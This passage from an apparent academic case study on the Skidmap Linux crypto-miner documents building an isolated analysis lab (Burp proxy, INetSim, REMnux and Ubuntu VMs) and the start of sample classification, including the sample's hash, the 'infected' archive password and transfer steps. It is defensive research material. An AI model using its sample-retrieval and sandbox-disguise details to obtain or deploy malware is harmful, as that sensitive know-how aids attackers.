At that point, it was ascertained that the "intercept" option was enabled from the corresponding tab, and the proxy listeners regarding "8080" and "8443" ports were activated.

Those options were saved using the "Options" (cog) icon as "burp-internet_proxylisteners.json" (Figure 4.2.6.1.4) under "lab/rules".

0 ‡	Proxy Listener Restore defaults	s :eners	to receive incomin	g HTTP requ	ests from your browser.	You will need to configu	re your browser to use one of the lis
	Save options	ing	Interface	Invisible	Redirect	Certificate	TLS Protocols
		-5	*:80	~	10.0.0.1:880	Per-host	Default
	Edit		*:443	~	10.0.0.1:8443	Per-host	Default
		 ✓ 	*:8080	\checkmark		Per-host	Default
	Remove	 ✓ 	*:8443	~		Per-host	Default

Figure 4.2.6.1.4 – Saving the newly created "burp-internet_proxy-listeners.json"

Finally, the active listeners were switched (the listeners regarding ports "8080" and "8443" were disabled, and those regarding "80" and "443" were enabled) and saved as "burp-inetsim_proxy-listeners.json" inside "/lab/rules" directory.

It was then tested whether "Burp-internet_proxy-listeners.json" and "burp-inetsim_proxy-listeners.json" were available and functional each time "BurpSuite" was executed (Figure 4.2.6.1.5).

	Burp Suit	e Community Edition v2020.9.2	_ = ×
?	Select the configuration that you would like to load fo	r this project.	
	🔘 Use Burp defaults		
	Ouse options saved with project		
	Load from configuration file File:	File /lab/rules/burp_internet-proxy_listeners.json /lab/rules/burp_inetsim-proxy_listeners.json /lab/rules/burp_internet-proxy_listeners.json	Choose file
	 Default to the above in future Disable extensions 	c	ancel Back Start Burp

Figure 4.2.6.1.5 – Verifying availability of saved proxy listeners

4.3 REMnux Analysis VM Setup

The "REMnux Analysis" VM was created by importing the same OVA file that was used on "REMnux GW" VM, since it comes with many malware analysis related tools already preinstalled. However, modifications to network adapters and related files had to be made before it can be completely functional. Before taking the final snapshot of the VM, additional tools were installed.

4.3.1 Importing Appliance

For the appliance to be imported, "Ctrl+I" shortcut was hit, and the prompted import wizard was followed. The downloaded OVA file was selected, and 4 GB of RAM as well as 2 cores of CPU were assigned.

The "Adapter 1" was attached to the "Internal Network" named "intranet" that was created while setting up the "REMnux GW" VM (Figure 4.3.1.1). Those options were made available from the "Settings" (cog) icon, under "Network" group of options.

Adapter 1	Adapter 2	Adapter 3	Adapter 4							
Enable Network Adapter										
Attached	to: Interna	Internal Network								
Na	me: intrane	intranet								

Figure 4.3.1.1 – Setting up the network adapter

The rest of the adapters were ensured to be deactivated, as well as any method of communicating with the Host machine. On the "General" group options, under the "Advanced" tab, "Shared Clipboard" and "Drag'n'Drop" were set to "Disabled". Additionally, "Enable USB Controller" and "Enable Audio" were unchecked from "USB" and "Audio" group of options, respectively. Finally, prior to the first snapshot, it was verified that no shared folders existed between Guest and Host from the corresponding group of options.

4.3.2 Network Configuration



Figure 4.3.2.1 -Modifying "etc/netplan/01-netcfg.yaml"

After booting the VM for the first time, the "/etc/netplan/01-netcfg.yaml" file had to be modified so that static IP address was assigned (Figure 4.3.2.1).

Next, the command "sudo netplan apply" was inserted in the terminal and the state of the VM was saved into a new snapshot.

The "REMnux GW" VM was then booted and the connectivity between "Analysis" and "GW" VMs was validated via a series of "ping" commands.

4.3.3 Firewall Script Testing

While testing the "internet.firewall" and "inetsim.firewall" scripts (Figure 4.3.3.1, Figure 4.3.3.2 and Figure 4.3.3.3) it was identified that due to INetSim limited SSL support, "https" requests would return an error regarding self-signed certificate. Furthermore, it was confirmed that when executing the "internet.firewall" and "inetsim.firewall" scripts on "REMnux GW", the "Ubuntu" VM behaved as intended.

						rem	nnux@	Øremn	ux: ~					-			×
File	Edit	View	Search	Termi	nal H	lelp											
remnu URL 1 202 Resol ::200 Conne HTTP Leng1 Savin	ux@re trans 21-02 lving 04 ectin requ th: u ng to	mnux: forme -08 1 www. g to lest s inspec o: 'in	~\$ wge ed to H 1:09:2 google www.go sent, a sified ndex.ht	t http TTPS d 7 h .com (waitin [text/ ml'	o://ww due to https: (www.g www.g com (w ng res /html)	ww.goo o an H ://www google www.go sponse]	ogle. HSTS w.goc e.com oogle e	.com poli ogle. n) 200	.cy com/ 172. 172. 0K	217.2	3.100 23.10	0, 2a0	00:14 43	450:4 . cor	400 nne	01:8 ecte	300 ed.
inde	k.htm	ıl		[<=>] 204	.22K	920	KB/s	i	in 0.	.29	5	
2021	-02-0	8 11:	09:28	(920 K	(B/s)	- 'ir	ndex.	.html	' sav	ed [2	09126]					
remnu doo<br "> <he< td=""><td>ux@re ctype ead><</td><td>m<mark>nux</mark>: html meta</td><td>~\$ cat .><html conten</html </td><td>index items t="IE=</td><th>c.htm scope= =edge'</th><th>l ="" it " http</th><td>temty p-equ</td><th>ype=" uiv="</th><td>http: X-UA-</td><th>//sch Compa</th><th>ema.c tible</th><th>rg/We e"><me< th=""><th>ebPaq eta ł</th><th>ge" l http∙</th><th>lar -ec</th><th>ng=" quiv</th><td>'el /="</td></me<></th></he<>	ux@re ctype ead><	m <mark>nux</mark> : html meta	~\$ cat .> <html conten</html 	index items t="IE=	c.htm scope= =edge'	l ="" it " http	temty p-equ	ype=" uiv="	http: X-UA-	//sch Compa	ema.c tible	rg/We e"> <me< th=""><th>ebPaq eta ł</th><th>ge" l http∙</th><th>lar -ec</th><th>ng=" quiv</th><td>'el /="</td></me<>	ebPaq eta ł	ge" l http∙	lar -ec	ng=" quiv	'el /="

Figure 4.3.3.1 - Testing "internet.firewall" connections

	remnux@remnux: ~		-		×			
File Edit View S	arch Terminal Help							
-2021-02-08 11:13:34 http://www.in.gr/ esolving www.in.gr (www.in.gr) 10.0.0.1 onnecting to www.in.gr (www.in.gr) 10.0.0.1 :80 connected. TTP request sent, awaiting response 200 OK ength: 177 [text/html] aving to: 'index.html'								
index.html	100%[======]]]	L77KB/s	in	0s				
2021-02-08 11:13	:34 (716 KB/s) - 'index.html' saved	9 [177/177]						
<pre>remnux@remnux:~\$ <html> <html> <head> <title>I</title></head></html></html></pre>	cat index.html tle>							

Figure 4.3.3.2 – Testing "inetsim.firewall" HTTP connections

Linux Malware Analysis – A Skidmap case study

remnux@remnux: ~	-		×
File Edit View Search Terminal Help			
<pre>remnux@remnux:~\$ wget https://www.google.com 2021-02-08 11:18:48 https://www.google.com/ Resolving www.google.com (www.google.com) 10.0.0.1 Connecting to www.google.com (www.google.com) 10.0.0.1 :443 conne ERROR: cannot verify www.google.com's certificate, issued by 'CN=ine OU=Internet Simulation services,0=INetSim': Self-signed certificate encountered. ERROR: certificate common name 'inetsim.org' doesn't match reque name 'www.google.com'. To connect to www.google.com insecurely, use `no-check-certificate</pre>	ected etsin ested	d. m.or d ho	-g, ost
Figure 4.3.3.3 – Testing "inetsim firewall" HTTPS connections			

Moreover, while running "burp_internet.firewall" and "burp_inetsim.firewall" scripts on "REMnux GW" VM and simultaneously requesting for "https://www.google.com" on a "REMnux Analysis" terminal (Figure 4.3.3.4), it was observed that the CA certificate of "PortSwigger" needed to be imported both on the system and on the browser of the "Analysis" VM.



Figure 4.3.3.4 – Testing "burp_inetsim.firewall" and "burp_internet.firewall" connections

Therefore, the "burp_internet.firewall" was executed via terminal and the "BurpSuite Community Edition" was run by typing:

• \$ sudo ~/BurpSuiteCommunity/BurpSuiteCommunity

A new temporary project was created, and the previously created "burp_internetproxy_listeners.json" configuration file (4.2.6.1) was imported. The intercept option was disabled and the "10.0.0.1:8080" was typed on the address bar of the "Firefox" web browser. The download option for the CA certificate was available (Figure 4.3.3.5).



Figure 4.3.3.5 – Downloading CA Certificate

The downloaded certificate was imported to "Firefox", as described on the official site [52]. First, the "Preferences" option was chosen (Figure 4.3.3.6) from the browser's settings menu.

Linux Malware Analysis - A Skidmap case study



Figure 4.3.3.6 – Navigating to "Preferences"

Afterwards, the word "Certificates" was typed on the search bar and the "View Certificates" button was pressed. The "Certificate Manager" window popped up, and at the the "Import…" option, located at the bottom of "Authorities" tab, was pressed. After navigating to the "Downloads" folder the "cacert.der" file was selected. When prompted, "Trust this CA to identify websites." was checked (Figure 4.3.3.7).

Downloading Certificate	×
You have been asked to trust a new Certificate Authority (CA).	
Do you want to trust "PortSwigger CA" for the following purposes?	
✓Trust this CA to identify websites.	
Trust this CA to identify email users.	
Before trusting this CA for any purpose, you should examine its certificate and its policy and procedures (if available).	
View Examine CA certificate	
Cancel OK	

Figure 4.3.3.7 – Modifying trust settings

The "PortSwigger CA" was ensured to be imported and the "intercept" option was enabled to check its functionality.

For the downloaded certificate to be imported to the system, however, additional actions had to be taken [53] [54]. Firstly, the DER certificate was converted into a usable public key (Figure 4.3.3.8), using the command:

\$ openssl x509 -in cacert.der -inform DER -out portswigger.crt •

Linux Malware Analysis – A Skidmap case study

				remnu	ıx@remnu	x: ~/Down	loads		-		×
File	Edit	View	Search	Termin	al Help						
remn	ux@re	emnux:	~/Down]	Loads\$	openssl	x509 -i	in cacert.	der -	info	rm D	DER
-ou remn	ux@re	emnux:	/Downl	Loads\$	cat por	tswiaaer	.crt				
	-BEGI	IN CER	TIFICAT	ГЕ	- -						
MIID	qDCCA	۹pCgAw	/IBAgIF#	APV//61	YwDQYJKo	ZIhvcNAC	QELBQAwgYo	xFDAS	BgNV	BAYI	r I
C1Bv	cnRTo	d2lnZ2	VyMRQwl	EgYDVQ	QIEwtQb3	J0U3dpZ2	2dlcjEUMBI	GA1UE	BxML	UG9)	/
dFN3	aWdnZ	ZXIxFD	ASBgNVE	BAoTC1E	BvcnRTd2	lnZ2VyMF	RcwFQYDVQQ	LEw5Q	b3J0	U3dp)
Z2dl	ciBD(QTEXMB	BUGA1UE	AxMOUG	9ydFN3aW	dnZXIgQ@	EwHhcNMTQ	XMDIX	MDgx	ODM1	L
WhcN	MZAXN	1DIXMD	gx0DM1V	VjCBijl	EUMBIGA1	UEBhMLUC	9ydFN3aWd	INZXIX	FDAS	BgN\	′
BAGT	CIBVO			MRQWEG	YDVQQHEW		3apZ2alcjE	UMBIG	AIUE	CNML	
0099 6210	UEN38	awanzz zodloj			SIDLBVCN			CADAC	VQQD		2
KBPM D210	03uµ2 n752t	220101		RYEEPB	1 J N U Z I I V	6VV808Di	INDTV73VEN	1W5En	уусь х√₩6	AIUU Na51	,
1070	2hh7)aC+ns	lw4i5Yr	ncfFl0;	78K9TaVr	i78as(8]	e4x357a+w	/S64Vm	0+11N	hvin	n •
i+Gz	0V1X0	ORwwo	4Kakm8V	VD5n0Ke	eteOkm6B	/60tMJN	EFM0XG8DK	29DiH	Mc9n	u+d>	Ċ
DgTt	WAxpz	z0cKa4	c0dbTr1	tzSVp8	xo8Vwk6B	K7chm+6F	89HmG1aLR	yM4ET	MG3i	DSUC)
Uy2+	bQAn§	∂Dj/wF	kdQna0+⊺	TaqrYi	EQphTvIy	gn46EZZ7	72LRgBMiqd	ae+bM	aTZA	WBCp)
kĽsQ	fpcp+	+x4XC4	0vp8kC/	AwEAAaN	MTMBEwDw	YDVR0TAC)H/BAUwAwE	B/zAN	Bgkq	hki	i i
9w0B	AQsFA	AOCAQ	EAPr6g	JKy4T/1	tMiEPa8X	Z/AfIqV\	∕r+aPaNGi0	GOXHM	eBYm	GNS2	2
ETP0	vSs66	58KACQ	}+okCIj¢	c7wBARe	eVlATa+9	g0I7JEES	50x+/HD4VM	lj+GCh	5Fxa	3pt⊧	< _
Ctxx	zleLH	IGPL1v	zv3ERal	WuWxbc	viPHwLIz	J5BNnWnu	usWCOiAnCg	XxF2d	BIpU	iiB№	1
WDQA	PoKpo	03rJvC	3NxeLq	gJx+7m(Qr8HUt1t	Tk9Ho1Bo	ICPtE9UHH7	c9500	qJzf	zZ3N	
SVGF	q4Pet	oyiv4n	IGYAdXCI	102TZLI	nT27/rtc	3yPzxfil	JeotzcQX8k	90sWM	gCt8	TW5L	
CURC			ачсногі	=317Sas	за грзомо	77+A==					
remn											- I
- Ciill	axere	smiruX .	, DOWIN	coausp							

Figure 4.3.3.8 – Converting ".der" to ".crt"

The converted certificate was copied to the "/usr/local/share/ca-certificates" folder and the following command updated the list of CA certificates (Figure 4.3.3.9):

• \$ sudo update-ca-certificates

				remnux@re	emnux: ~/Downlo	bads	-		×
File	Edit	View	Search	Terminal H	lelp				
remn e/ca remn Upda 1 ad Runn	ux@re -cert ux@re ting ded, ing h	emnux: ifica emnux: certi 0 rem nooks	<pre>~/Downl ites/por ~/Downl ficates oved; c in /etc</pre>	oads\$ sud tswigger. oads\$ sud in /etc/: one. :/ca-certi	o cp portswig crt o update-ca-c ssl/certs ficates/updat	gger.crt ∕us certificates te.d	sr/loca	ıl/sh	nar
Addi done	ng de	ebian:	portswi	.gger.pem					
Upda Mono Popu icat	ting Cert late es.	Mono ifica Mono	key sto ite Stor certifi	re Sync - cate stor	version 6.12. e from a conc	.0.90 catenated li	ist of	cert	if
Copy l. B	right SD li	2002 Cense	2003 d.	Motus Tecl	hnologies. Co	opyright 200	94-2008	8 No∖	rel
Impo I al Cert Port 1 ne Impo	rting ready ifica Swigg w roc rt pr) into / trus ate ad jer, O ot cer rocess	legacy t 127, ded: C= U=Ports tificat comple	your new your new PortSwigg wigger CA es were a ted.	tore: list has 128 er, S=PortSwig , CN=PortSwig dded to your	igger, L=Pon gger CA trust store	rtSwigg 2.	jer,	0=
Impo I al Cert Port 1 ne Impo	rting ready ifica Swigg w roc rt pr) into / trus ate ad Jer, 0 ot cer Tocess	BTLS s t 127, ded: C= U=Ports tificat comple	ystem sto your new PortSwigg wigger CA es were a ted.	re: list has 128 er, S=PortSwi , CN=PortSwig dded to your	Lgger, L=Poi gger CA trust store	rtSwigg e.	jer,	0=
done remn	ux@re	emnux:	~/Down1	.oads\$					

Figure 4.3.3.9 - Adding "portswigger.crt" to the Cas

The functionality of the imported certificate was validated by visiting "google.com", via the terminal, while "intercept" was on. The traffic was intercepted as expected and no certificate error occurred (Figure 4.3.3.10).

				remnux@	remnux: ~/Downloads	-		×
File	Edit	View	Search	Terminal	Help			
remnu 202 Resol 1450: Conne co HTTP	1x@re 21-02 4001 ectin onnec	mnux: -08 1 www. :800: g to ted. est s	~/Downl 2:15:04 google. :2004 www.goo	.oads\$ wg http .com (www ogle.com vaiting r	get https://www.google.com os://www.google.com/ w.google.com) 172.217.23. (www.google.com) 172.217.23	100, .100	2a0	0: 3.
		ŀ	-igure 4.3.	3.10 – Chec	king the installation of "portswigger.crt"			

Furthermore, once the certificate was imported, the functionality of "burp_inetsim.firewall" could be tested. Thus, the appropriate proxy listeners were activated, and the script was executed (Figure 4.3.3.11).

Burp Project Intru	Burp Project Intruder Repeater Window Help									
Dashboard Targ	Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options									
Intercept HTTP	nistory We	bSockets histor	y Options]						
Proxy Liste Burp Proxy us server.	ners es listeners	to receive incor	ming HTTP red	uests from your br	owser. You w	ill need to c	onfigure your brow	wser to use one of t		
Add	Running	Interface	Invisible	Redirect	Certi	ficate	TLS Protoc	:ols		
	•	*:80	~	10.0.0.1:880	Per-ł	nost	Default			
Edit	•	*:443	\checkmark	10.0.0.1:8443	Per-h	nost	Default			
		*:8080	~		Per-h	nost	Default			
Remove		*:8443	~		Per-h	nost	Default			
<pre>remnux@remnux [ok] Stoppi + sudo /lab/b + IFACE_WAN=e + IFACE_LAN=e + echo 1 + sudo /etc/i [ok] Restar + sudo servic + sudo system Removed /etc/ Removed /etc/</pre>	:~\$ sudo ng dnsma in/reset th0 th1 nit.d/ne ting net e system ctl disa systemd/ systemd/	/lab/rule sq (via sy -iptables. tworking r working (v d-resolvec ble system system/mul system/dbu	es/burp_in /stemctl) .sh restart /ia system i stop nd-resolve .ti-user. us-org.fre	netsim.firewa : dnsmasq.sen nctl): netwon ed.service target.wants/ eedesktop.res	all rvice. rking.ser systemd- solvel.se	vice. resolved rvice.	d.service.			
+ Sudo /etc/i [ok] Starti <mark>remnux@remnux</mark>	nit.d/in ng inets :~\$	etsim star im (via sy	/stemctl)	: inetsim.sen	vice.					

Figure 4.3.3.11 – Switching to simulated traffic

Once again, the "google.com" was visited via terminal, and "InetSim" responded with the default "index.html" (Figure 4.3.3.12) without complaining about the certificate.

Linux Malware Analysis – A Skidmap case study

remnux@remnux: ~/Downloads	-		×
File Edit View Search Terminal Help			
<pre>remnux@remnux:~/Downloads\$ wget https://www.google.com 2021-02-08 12:23:06 https://www.google.com/ Resolving www.google.com (www.google.com) 10.0.0.1 Connecting to www.google.com (www.google.com) 10.0.0.1 :443 HTTP request sent, awaiting response 200 OK Length: 177 [text/html] Saving to: 'index.html'</pre>	conn	iecte	ed.
index.html 100%[=========>] 177KB/s in	0s		
2021-02-08 12:23:16 (37.9 MB/s) - 'index.html' saved [177/177]			
<pre>remnux@remnux:~/Downloads\$ cat index.html <html></html></pre>			
 remnux@remnux:~/Downloads\$			

Figure 4.3.3.12 – "InetSim" response

Once every script was successfully tested, the "internet.firewall" was executed and a new snapshot was taken.

4.3.4 Applying system updates

A full system update was performed by typing:

• \$ sudo apt-get update && sudo apt-get upgrade

4.3.5 Additional Software Installation

Although "REMnux" distribution comes with "ClamAV" already preinstalled on it, its signatures had to be updated. Thus, the "clamav-freshclam" service (responsible for automatic update of the signatures) was stopped and the signature database updating was forced through the "sudo freshclam" command (Figure 4.3.5.1).

remnux@remnux: ~	-	×
File Edit View Search Terminal Help		
<pre>remnux@remnux:~\$ sudo systemctl stop clamav-freshclam.service remnux@remnux:~\$ sudo freshclam Tue Feb 2 09:12:10 2021 -> ClamAV update process started at Tue Feb 2 09:12:10 2021 Tue Feb 2 09:12:11 2021 -> daily database available for download (remote version: 26068) Time: 1.5s, ETA: 30.3s [] 4.98MiB/104.48MiB</pre>		



Additionally, the portable edition of "Detect It Easy" software for 64-bit Linux systems was downloaded [55] and extracted under "/opt" directory

For the dynamic analysis, "peda", "pwndbg" and "gef" "gdb" plugins were installed [56] to improve user experience. However, "pwndbg" was preferred over the other options and was therefore used on the scenario of "Skidmap" malware.

The commands to download and install those plugins in home directory were [57]:

- \$ cd ~ && git clone https://github.com/soaringk/gdb-peda-pwndbg-gef.git
- \$ cd ~/gdb-peda-pwndbg-gef
- \$./install.sh

After installation, they were available by typing "gdb-peda", "gdb-pwndbg" or "gdb-gef" on the terminal (Figure 4.3.5.2).

remnux@remnux: ~/gdb-peda-pwndbg-gef							-		×		
File	Edit	View	Search	Terminal	Help						
remn gdb- remn	ux@ro add-: ux@ro	emnux: index emnux:	~/gdb-j gdb-ge ~/gdb-j	peda-pwn ef peda-pwn	dbg-gef\$gdl gdb-peda dbg-gef\$gdl)- gdb)-pwndbg	-pwndbg				
pwnd pwnd pwnd	bg: bg: bg>	loaded create	187 co d \$reba	ommands. ase, \$ida	Type pwndbg a gdb funct:) [filter lons (can] for a l be used	ist. with	print/	'brea	ak)

Figure 4.3.5.2 – Executing "gdb-pwndbg"

Finally, a "ghidra" plugin capable of applying "IDA FLIRT" signatures, named "ApplySig" [11] was downloaded and decompressed to the "~/ghidra_scripts/" directory. The signature database that was used in conjunction with this plugin was "sig-database" [35]

4.4 Ubuntu VM

The choice of "Ubuntu" OS for the "Behavioral Analysis" stage was made as it is the most popular Debian based distribution. Note that in order to make the VM "malware friendly" all the modifications that took place are thoroughly in this section.

4.4.1 Creating a new machine

The latest LTS version of "Ubuntu" was downloaded from the official webpage [40]. Since the downloaded file was not in an ".ova" format, but in an ".iso" one, the machine needed to be installed instead of being imported. This can be achieved either by Selecting "Machine" from the "Oracle VM VirtualBox Manager's" menu bar and selecting the "New…" menu item from the drop-down list (or by simply pressing the "Ctrl+N" shortcut). Once "Ubuntu" was provided as name on the corresponding field, "Type" and "Version" values were automatically changed to "Linux" and "Ubuntu (64 bit)" respectively. The "Machine Folder" was also changed to the desired one (Figure 4.4.1.1).

		?	\times
← Create Virtual	Machine		
Name and c	perating system		
Please choose a machine and sel The name you d machine.	descriptive name and destination folder for ect the type of operating system you intend hoose will be used throughout VirtualBox to	the new to install identify t	virtual on it. his
Name:	Ubuntu		
Machine Folder:	🕳 E:		\sim
<u>Type</u> :	Linux	•	⁶⁴
Version:	Ubuntu (64-bit)	•	
	Expert Mode Next	Can	ncel

Figure 4.4.1.1 – Naming the VM and selecting OS

On the next window of the installation wizard, the memory that was allocated to the VM was altered to 4098 MB which is considered a realistic value for a modern system. Regarding the hard drive, a new dynamically allocated "VDI" of 150GB was created (Figure 4.4.1.2), which is also considered to be a reasonable hard drive partition capacity value. The reason why those values needed to be realistic is because modern malware might check them to identify the existence of a virtual environment.

Hard disk
If you wish you can add a virtual hard disk to the new machine. You can either create a new hard disk file or select one from the list or from another location using the folder icon.
If you need a more complex storage set-up you can skip this step and make the changes to the machine settings once the machine is created.
The recommended size of the hard disk is 10.00 GB .
O Do not add a virtual hard disk
<u>C</u> reate a virtual hard disk now
Use an existing virtual hard disk file
😰 remnux-v7-disk001.vdi (Normal, 60.00 GB) 🛛 🔹 🗔
Hard disk file type
Please choose the type of file that you would like to use for the new virtual hard disk. If you do not need to use it with other virtualization software you can leave this setting unchanged.
VDI (VirtualBox Disk Image)
O VHD (Virtual Hard Disk)
 VMDK (Virtual Machine Disk) Storage on physical hard disk
Please choose whether the new virtual hard disk file should grow as it is used (dynamically allocated) or if it should be created at its maximum size (fixed size).
A dynamically allocated hard disk file will only use space on your physical hard disk as it fills up (up to a maximum fixed size), although it will not shrink again automatically when space on it is freed.
A fixed size hard disk file may take longer to create on some systems but is often faster to use.
Dynamically allocated
○ Fixed size
File location and size
Please type the name of the new virtual hard disk file into the box below or click on the folder icon to select a different folder to create the file in.
E:\VMs\Ubuntu\Ubuntu.vdi
Select the size of the virtual hard disk in megabytes. This size is the limit on the amount of file data that a virtual machine will be able to store on the hard disk.
150.00 GB
4.00 MB 2.00 TB



Once the VM was created, the "Adapter 1" was attached to the "Internal Network" named "intranet" and the "USB", "Audio", "Shared folders", "Drag'n'Drop" and "Shared Clipboard" options were modified accordingly for the VM to be isolated, as per "REMnux Analysis" VM (0)

4.4.2 Ubuntu Installation

A new snapshot was taken as a precautionary measure for the possibility of installation failure, before going forth with this process. Afterwards, the Instance was started, and "Boot" was selected. On the pop-up window, an optical disk selector was added, and the downloaded file ("ubuntu-20.04.2-desktop-amd64.iso") was selected. Consequently, this file was chosen as the start-up disk.

After selecting the desired language, the "Install Ubuntu" option was chosen, and the English-US keyboard layout was preferred. Moreover, "Normal installation" was selected, as it would install more packages that a normal user might have already installed, and the option "install third-party software..." was checked for performance reasons. When asked for installation type "Erase disk and install Ubuntu" was selected and the "Install Now" button was pressed. On the pop-up window the upcoming disk changes were allowed by pressing the "Continue" button.

The "Amaryllis Awanes" and "soxband" names, anagrams of "malware analysis" and "sanbox" were typed on the "Your name:" and "Your computer's name:" fields, respectively. In this way, a possible virtual environment discovery based on username or computer name blacklisting might be avoided. The password set was "M4lw4r3" (Figure 4.4.2.1).

	Install		
Who are you?			
Your name:	Amaryllis Awanes		0
Your computer's name:	soxband	0	
	The name it uses when it talk	s to other computers.	
Pick a username:	amaryllis 🛛 🛇		
Choose a password:	•••••	Fair password	
Confirm your password:	•••••	0	
	O Log in automatically		
	Require my passwore	d to log in	
		Back	Continue
		•	

Figure 4.4.2.1 – Filling the credential-related fields

After completing the installation process and upon restarting the VM, the "Livepatch" and the "Location services" were disabled, while the "Don't send system info" option was enabled.

4.4.3 Network Configuration

On the "Ubuntu" VM, the network configuration was achieved via the GUI. After hitting the "Super key" (windows key on most keyboards), "Settings" was typed and the corresponding application was started. While on the "Network" tab, a new wired profile was created by pressing the button with the "cross" symbol (Figure 4.4.3.1).

Q Settings ≡	Network	- 0 😣
😚 Network		
Bluetooth	Wired	+
📮 Background	Connected - 1000 Mb/s	

Figure 4.4.3.1 – Creating a new Wired profile

A new window, named "New Profile", emerged and the tab "IPv4" was selected. Then, the option "Manual" was applied for the "IPv4 Method". The "Address" field was set to "10.0.0.5" and the "Netmask" field was set to "255.255.255.0". Moreover, the IP address of the "REMnux GW", "10.0.0.1", was inserted on the "Gateway" and "DNS" fields (Figure 4.4.3.2).

Cancel	el New Profile					
Identity	IPv4	IPv6	Security			
Addresses						
Ad	dress		Netmask	Gateway		
10.0.0.5		255	5.255.255.0	10.0.0.1	Ē	
					Ē	
DNS				Automa	atic 💽	
Separate IP a	ddresses wi	th commas				

Figure 4.4.3.2 – Configuring "IPv4" tab

After configuring the "Ubuntu" VM, "REMunx GW" VM was booted to verify the network communication. This was accomplished via "pinging" the GW:

• \$ ping 10.0.0.1

4.4.4 Firewall Script Testing

For the "Ubuntu" VM to behave as intended for each of the "REMnux GW" scripts, the "PortSwigger" CA certificate had to be downloaded and imported to both the "Firefox" browser and the system. The CA certificate import procedure is described in detail on the corresponding subsection (4.3.3) of the "REMnux Analysis Setup" section.

Upon successful completion of the installation, the requests to "https://google.com", as well as their responses, were tested for all the ".firewall" scripts (Figure 4.4.4.1, Figure 4.4.4.2).

Linux Malware	e Analysis –	A Skidmap	case study
	,		

Burp Project Intruder Repeater Window Help											
Dashboard Target Proxy Intruder Repeater Sequencer [Decoder	Comparer	Extender	Project op							
Intercept HTTP history WebSockets history Options											
Request to https://www.google.com:443 [172.217.165.4]											
Forward Drop Intercept is on Action Open Browser											
Raw Headers Hex											
Pretty Raw In Actions 🗸											
1 GET / HTTP/1.1 2 User-Agent: Wget/1.20.3 (linux-gnu) 3 Accept: */* 4 Accept-Encoding: gzip, deflate 5 Host: www.google.com 6 Connection: close											
🛃 Ubuntu (network conf) [Running] - Oracle VM VirtualBox			- [
File Machine View Input Devices Help											
				-2 du							
				5 <u>'</u> 8 ' "							
ান amaryllis@soxband: ~/Downl	loads	Q ≡	-	• 😣							
<pre>amaryllis@soxband:~/Downloads\$ amaryllis@soxband:~/Downloads\$ wget https://www.google.com2021-02-08 10:46:11 https://www.google.com Resolving www.google.com (www.google.com) 1 Connecting to www.google.com (www.google.com) HTTP request sent, awaiting response</pre>	ww.goog om/ 10.0.0. 10.0.0	le.com 1).1 :443.	conn	ected.							

Figure 4.4.4.1 – Checking the VM's behavior under "burp_internet.firewall"

I+1 amaryllis@soxband: ~/Downloa	ads Q = - 🗆 😣
amaryllis@soxband:~/Downloads\$ wge 2021-02-08 09:55:05 https://w Resolving www.google.com (www.goog Connecting to www.google.com (www. connected. HTTP request sent, awaiting respor Length: 177 [text/html] Saving to: 'index.html'	et https://www.google.com www.google.com/ gle.com) 10.0.0.1 google.com) 10.0.0.1 :443. nse 200 OK
index.html 100%[====>] 177	7KB/s in 0s
2021-02-08 09:55:15 (35.2 MB/s) - 7]	'index.html' saved [177/17
<pre>amaryllis@soxband:~/Downloads\$ cat <html></html></pre>	t index.html s an HTML document.

Figure 4.4.4.2 – Checking the VM's behavior under "burp_inetsim.firewall"

Linux Malware Analysis – A Skidmap case study

Once every script was successfully tested, the "internet.firewall" was executed and a new snapshot of the "Ubuntu VM" was taken.

4.4.5 Applying system updates

The instance was booted again, and a full system update was performed by typing:

• \$ sudo apt-get update && sudo apt-get upgrade

Since a full update can be a time-consuming process, another snapshot was taken upon completion.

4.4.6 Additional Software Installation

The additional software that was needed to be installed on the "Ubuntu" VM was the file archiver "7z", the "chkrootkit" software and its dependencies ("gcc").

An active connection to the Internet was needed, so no changes were made to the "REMnux GW" VM.

To install the "7z" software, the following command was typed on the terminal:

• \$ sudo apt-get install p7zip-full

The installation of "chkrootkit" was the netxt. Therefore, the "latest source tarball" package was downloaded from the official site [58], which was later decompressed using the following command:

• \$ tar xzf p chkrootkit.tar.gz

Continuing with the installation of its dependencies, the following command was given:

• \$ sudo apt-get install gcc

Finally, the source code was compiled with the command:

• \$ sudo make sense

5 The use case of "Skidmap" malware

The sample that was chosen for the "Linux" malware analysis was a variant of "Skidmap" trojan. This sample might not be as popular as the one analyzed in the previous chapter, but the choice was mainly made due to the fact that the malware is a "crypto miner" trojan meaning that it takes advantage of the system's resources and adapts advanced techniques to make its malicious activity undetected. Taking into consideration that most cryptocurrency prices have vastly risen in the past months, it is expected that the presence of such malware to be more frequent in the upcoming years. Additionally, it performs various ways for the attacker to gain access to the infected machine and adapts advanced persistence techniques.

Similarly, to the "Windows" malware analysis use case, the present chapter focuses on the "Classification", "Code Analysis" and "Behavioral Analysis" of the above-mentioned malware. Although it is considered that the "Lab Setup" achieves the goals of "Initial Actions" stage of SAMA methodology, several malware-specific modifications had to be implemented.

5.1 Classification

The first stage of "Skidmap" malware analysis that is described in this chapter is "Classification". The sample's unique identifiers ware collected by hash functions, the "YARA" rules were used to extract information about its functionalities along with online research. Moreover, "ClamAV" AV was used in conjunction to online AV engines (VirusTotal) to measure and evaluate its concealing capabilities. The file characteristics were viewed via "DIE" software and the "UPX" packer was identified. The sample unpacking was achieved though the same tool used for packing.

5.1.1 Malware transfer

The variant of "Skidmap" that was downloaded to the "REMnux GW" can be found on the "Malware Bazaar" webpage [59], by typing the appropriate keyword followed by the sample's SHA256 number to the search field, as shown below:

sha256:f005c2a40cdb4e020c3542eb51aef5bac0c87b4090545c741e1705fcbc8ca120

The downloaded sample is protected with the traditional "infected" password, which was revealed prior its downloading (Figure 5.1.1.1).

Caution!	
You are about to download a malware sample. By clicking on "downloa to be held accountable for any damage caused by downloading this ma	ad", you declare that you have understood what you are doing and that MalwareBazaar can not alware sample!
ZIP password: infected	
	Download

Figure 5.1.1.1 - Password protected sample

The malware transfer, from the GW REMnux" VM to the "Analysis REMnux" VM, was accomplished once again by inserting the following command on the GW VM:

\$ python -m SimpleHTTPServer

The IP address and the port 8000 was then inserted on the address bar of the "REMnux Analysis" VM:

http://10.0.0.1:8000

Re-enabling the "intranet" adapter prior to the transfer and isolation of the VM after this procedure was completed, were necessary steps that occurred before a fresh snapshot. At that point, the sample was ready to be decompressed, which was achieved by inserting the command:

\$7z x <filepath>

The password "infected" was inserted when prompted (Figure 5.1.1.2).

remnux@remnux: ~/Downloads/Skidmap	-		×
File Edit View Search Terminal Help			
